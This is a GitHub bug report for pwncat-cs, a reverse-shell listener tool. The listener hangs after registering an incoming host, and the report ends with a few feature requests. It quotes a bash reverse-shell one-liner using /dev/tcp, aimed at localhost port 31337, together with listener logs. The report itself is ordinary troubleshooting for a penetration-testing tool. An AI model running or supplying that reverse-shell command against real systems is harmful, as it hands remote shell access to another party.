Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

pwncat-cs stuck at "registered new host w/ db" #278

Open
SkyperTHC opened this issue Jan 22, 2024 · 0 comments
Open

pwncat-cs stuck at "registered new host w/ db" #278

SkyperTHC opened this issue Jan 22, 2024 · 0 comments
Labels
bug Something isn't working

Comments

@SkyperTHC
Copy link

Alice:

pwncat-cs -lp 31337
/usr/venvs/pwncat-cs/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[08:50:09] Welcome to pwncat 🐈!                                                                          __main__.py:164
[08:52:43] received connection from 185.117.118.21:54670                                                       bind.py:84
[08:52:45] 185.117.118.21:54670: registered new host w/ db                                                 manager.py:957


<---  I expect the pwncat-cs (local) or (remote) prompt here but it does not show. It remains
stuck here until Alice presses CTRL-c.

Bob:

bash -i &>/dev/tcp/127.0.0.1/31337  0>&1

The only way to proceed is for Alice to type CTRL-c:

[08:56:49] warning: cancelled by user                                                                      manager.py:957
(local) pwncat$

I'm sorry for the short bug report. I am to busy to sink time into debugging this and I hope you will find the bug.

Alice works fine for reverse shells from some remote systems but for other remote systems (like Bob above), Alice gets stuck at "registered new host w/ db".


Sorry for this ad-hoc feature requests:

  1. disable db (never add an entry to the db).
  2. Alice to drop straight into remote shel (skip "(local)").
  3. Auto detect if the reverse connection is SSL or raw TCP (non-ssl)

thanks for your great work and sorry again for this short bug report.

@SkyperTHC SkyperTHC added the bug Something isn't working label Jan 22, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant